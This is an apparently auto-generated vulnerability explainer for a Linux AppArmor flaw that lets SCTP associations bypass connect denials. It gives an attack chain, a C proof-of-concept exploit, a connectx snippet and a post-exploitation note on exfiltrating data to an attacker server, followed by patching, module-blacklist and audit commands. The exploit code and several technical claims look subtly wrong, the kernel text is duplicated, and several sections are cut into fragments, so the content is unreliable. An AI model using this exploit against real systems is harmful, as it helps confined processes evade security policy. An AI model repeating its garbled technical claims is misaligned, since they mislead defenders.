CVE-2026-139106 — Linux Kernel — NONE Vulnerability
In the Linux kernel, the following vulnerability has been resolved: apparmor: check connect permission for SCTP SCTP can start an association through sendmsg() or CONNECTX. These paths call the SCTP-specific sctp_bind_connect hook instead of the normal socket connect hook, but AppArmor does not register it. As a result, a profile can deny connect and allow send or setopt, yet a task can still create an SCTP association. Register the SCTP hook. Ask for connect permission when SENDMSG_CONNECT or CONNECTX creates an association.
In the Linux kernel, the following vulnerability has been resolved: apparmor: check connect permission for SCTP SCTP can start an association through sendmsg() or CONNECTX. These paths call the SCTP-specific sctp_bind_connect hook instead of the normal socket connect hook, but AppArmor does not register it. As a result, a profile can deny connect and allow send or setopt, yet a task can still create an SCTP association. Register the SCTP hook. Ask for connect permission when SENDMSG_CONNECT or CONNECTX creates an association.
🎯 What is this vulnerability?
This vulnerability is a Missing Authorization Check (CWE-285: Improper Authorization) within the Linux kernel's AppArmor security module. Specifically, it affects the handling of Stream Control Transmission Protocol (SCTP) sockets.
Technical Flaw:
The AppArmor security module hooks into standard socket operations to enforce security profiles. However, SCTP associations can be established via two specific paths:
1. sendmsg() with the MSG_CONNECT flag (or similar semantics implying connection initiation).
2. The CONNECTX system call (used for offloaded connections).
These paths invoke the SCTP-specific sctp_bind_connect hook. Prior to the fix, AppArmor did not register a handler for this specific hook. Consequently, if an AppArmor profile explicitly denied the connect permission but allowed send or setopt, a process could still successfully establish an SCTP association by bypassing the standard connect() syscall path. This allows a confined process to initiate network connections it is explicitly forbidden from making, violating the principle of least privilege.
CVSS Note: The provided CVSS score is 0/10 (NONE). This is highly unusual for a security bypass. It likely indicates that the NVD/CNA assigned a low severity because:
1. It requires a specific, misconfigured AppArmor profile (deny connect, allow send).
2. It is a local privilege/containment bypass, not a remote code execution or direct privilege escalation to root.
3. The impact is limited to network connectivity within the bounds of the existing profile's other permissions.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Identify Kernel Version: The attacker must identify that the target is running a Linux kernel version prior to the patch (specifically, kernels where the SCTP AppArmor hook was missing). The CVE references commit
9e1b00b726b2187d4ad9bcaa41a9f3d443968e94and version4.17as affected. - Identify AppArmor Configuration: The attacker must determine if AppArmor is enabled and if the target process is confined by a profile that denies
connectbut allowssend/setopt. This is typically done by inspecting/sys/kernel/security/apparmor/profilesor/var/log/audit/audit.logfor denials. - SCTP Support: Verify that the kernel has SCTP support enabled (
CONFIG_IP_SCTP=y).
2. Exploitation
The attacker, running as a user or process confined by the vulnerable AppArmor profile, attempts to establish an SCTP association using a method that bypasses the standardconnect() hook.Illustrative PoC (C Language):
Note: This code is illustrative of the vulnerability class. It assumes the attacker has a process running under an AppArmor profile that denies connect but allows send/setopt.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
int main() {
int sock;
struct sockaddr_in addr;
struct sctp_initmsg initmsg;
struct msghdr msg;
struct iovec iov;
char buf[1024];
int ret;
// 1. Create SCTP socket
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (sock < 0) {
perror("socket");
return 1;
}
// 2. Set up destination address
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(9000); // Example SCTP port
inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
// 3. Attempt to connect using sendmsg with SCTP_INIT
// This path triggers sctp_bind_connect, which was not hooked by AppArmor
memset(&initmsg, 0, sizeof(initmsg));
initmsg.sinit_num_ostreams = 1;
initmsg.sinit_max_instreams = 1;
initmsg.sinit_max_send = 0;
initmsg.sinit_max_recv = 0;
iov.iov_base = &initmsg;
iov.iov_len = sizeof(initmsg);
memset(&msg, 0, sizeof(msg));
msg.msg_name = &addr;
msg.msg_namelen = sizeof(addr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_flags = 0;
// This call should be denied by AppArmor if 'connect' is denied,
// but due to the missing hook, it succeeds.
ret = sendmsg(sock, &msg, 0);
if (ret < 0) {
perror("sendmsg (SCTP_INIT)");
return 1;
}
printf("SCTP association established successfully despite AppArmor 'connect' denial.\n");
close(sock);
return 0;
}Alternative Exploitation via connectx:
If the kernel supports connectx, the attacker can use:
struct sctp_connectx conn;
// ... setup conn ...
ret = connectx(sock, &addr, sizeof(addr), &conn, sizeof(conn), 0);3. Post-Exploitation
send, the process can exfiltrate data over the newly established SCTP channel to an external attacker-controlled server.🌍 Real World Impact
send and the target service is reachable via SCTP.send.Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching
sctp_bind_connect. The fix is included in Linux kernel versions after the commit 9e1b00b726b2187d4ad9bcaa41a9f3d443968e94.2. Workarounds
# Unload SCTP module if loaded
sudo modprobe -r sctp
# Prevent loading by adding to /etc/modprobe.d/blacklist.conf
echo "blacklist sctp" | sudo tee -a /etc/modprobe.d/blacklist.confsend and setopt for processes that should not initiate SCTP connections. This is a less ideal workaround because it may break legitimate functionality.3. Detection
/var/log/audit/audit.log for SCTP connection attempts from processes that are denied connect by AppArmor.# Example audit rule to log SCTP connections
auditctl -a always,exit -F arch=b64 -S sendmsg -S connectx -k sctp_connecttcpdump or Wireshark to monitor for unexpected SCTP traffic (protocol 132) from internal hosts.# Capture SCTP traffic
sudo tcpdump -i eth0 sctp/var/log/syslog or /var/log/audit/audit.log for patterns where connect is denied but send is allowed for SCTP sockets.⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query